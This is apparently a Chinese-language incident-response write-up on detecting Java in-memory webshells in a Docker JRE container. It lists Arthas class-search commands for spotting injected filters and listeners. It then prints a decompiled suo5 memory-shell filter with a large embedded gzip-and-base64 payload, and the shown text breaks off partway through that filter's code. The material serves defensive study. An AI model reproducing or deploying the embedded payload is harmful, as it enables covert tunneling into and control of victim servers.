内存马-docker_JRE环境应急
环境
vulhub
java-chains
Godzilla
arthas 在 JRE 环境中无法运行问题解决
docker JRE 无法运行 arthas,需要 JDK 环境
直接运行报错,找不到进程

可以看到是
[INFO] JAVA_HOME: /usr/lib/jvm/java-8-openjdk-amd 64/jre
[INFO] Try to attach process 1
Exception in thread "main" java.lang.IllegalArgumentException: Can not find tools.jar under java home: /usr/lib/jvm/java-8-openjdk-amd 64/jre, please try to start arthas-boot with full path java. Such as /opt/jdk/bin/java -jar arthas-boot.jar
at com.taobao.arthas.boot.ProcessUtils.findJavaHome(ProcessUtils.java:269)
at com.taobao.arthas.boot.ProcessUtils.startArthasCore(ProcessUtils.java:280)
at com.taobao.arthas.boot.Bootstrap.main(Bootstrap.java:590)
查看环境变量和验证 没有 jdk 只有一个 jre,从网上下载 JDK,基本上一个大版本环境就行,可以从这下载(orcal 需要注册)
https://github.com/adoptium/temurin8-binaries/releases/

从宿主机上复制到容器环境中
root@VM-12-16-debian :~/tools# docker cp /root/OpenJDK8U-jdk_x64_linux_hotspot_8u482b08.tar.gz f851ca453ec8:tmp/jdk8
然后再用 JDK 环境运行 arthas 就可以了

arthas
看下我注入的内存马基础信息
fastjson 环境 注入

内存马基础信息

用哥斯拉连上去

注入的基本信息
ClassName:org.apache.commoms.beanutils.coyote.ser.impl.IteratorSerializer205104fcc25a4cb78e145ea74c56b592
存在

那我们要在不知道类名的情况下怎么找到它呢
不同类型找的类不太相同(tomcat Servlet测试了、spring 测试了一部分,其它没测试)
Servlet 组件的
Listener
sc -d javax.servlet.ServletRequestListener
sc -d jakarta.servlet.ServletRequestListener
Filter
sc -d javax.servlet.Filter
Servlet
sc -d javax.servlet.Servlet
Spring WebMVC
sc -d org.springframework.stereotype.Controller
sc -d org.springframework.web.bind.annotation.RestController
DispatcherServlet
sc -d org.springframework.web.servlet.DispatcherServlet
Interceptor
sc -d org.springframework.web.servlet.HandlerInterceptor
sc -d org.springframework.web.servlet.handler.HandlerInterceptorAdapter
Spring WebFlux
HandlerMethod
sc -d org.springframework.web.server.WebFilter
HandlerFunction
sc -d org.springframework.web.reactive.function.server.HandlerFunction
Netty Handler
sc -d io.netty.channel.ChannelHandler
sc -d org.apache.catalina.Valve
sc -d org.springframework.web.filter.*
websocket
sc -d javax.websocket.Endpoint
sc -d org.apache.tomcat.websocket.server.WsFilter
由于内存马要实现很多功能(文件管理,命令执行、数据库等等),它往往继承了 ClassLoader,以便能动态加载/解密攻击者后续发送的字节码模块
classloader -l 一般就能看到可疑的类
classloader -t 能看到 父子关系

其它类型内存马测试
value

spring

suo5
内存马上去后

之后运行下扫描器

没啥问题 就是扫描太卡了,还是上传上去好点。
以下代码是 suo 5 内存马反编译的代码
ClassLoader:
org.springframework.boot.loader.LaunchedURLClassLoader@238e0d81
+-org.springframework.boot.loader.LaunchedURLClassLoader@238e0d81
+-sun.misc.Launcher$AppClassLoader@74a14482
+-sun.misc.Launcher$ExtClassLoader@6e38921c
Location:
/*
* Decompiled with CFR.
*
* Could not load the following classes:
* javax.servlet.Filter
* javax.servlet.FilterChain
* javax.servlet.FilterConfig
* javax.servlet.ServletException
* javax.servlet.ServletRequest
* javax.servlet.ServletResponse
* javax.servlet.http.HttpServletRequest
* javax.servlet.http.HttpServletResponse
*/
package org.apache.http.web.handlers.KWKtP;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.zip.GZIPInputStream;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class ReportFilter
extends ClassLoader
implements Filter {
private static Class<?> suo5V2Class;
private static String suo5V2GZipBase64 = "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";
public ReportFilter() {
}
protected ReportFilter(ClassLoader classLoader) {
super(classLoader);
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest)servletRequest;
HttpServletResponse httpServletResponse = (HttpServletResponse)servletResponse;
try {
if (suo5V2Class == null) {
byte[] byArray = ReportFilter.gzipDecompress(ReportFilter.decodeBase64(suo5V2GZipBase64));
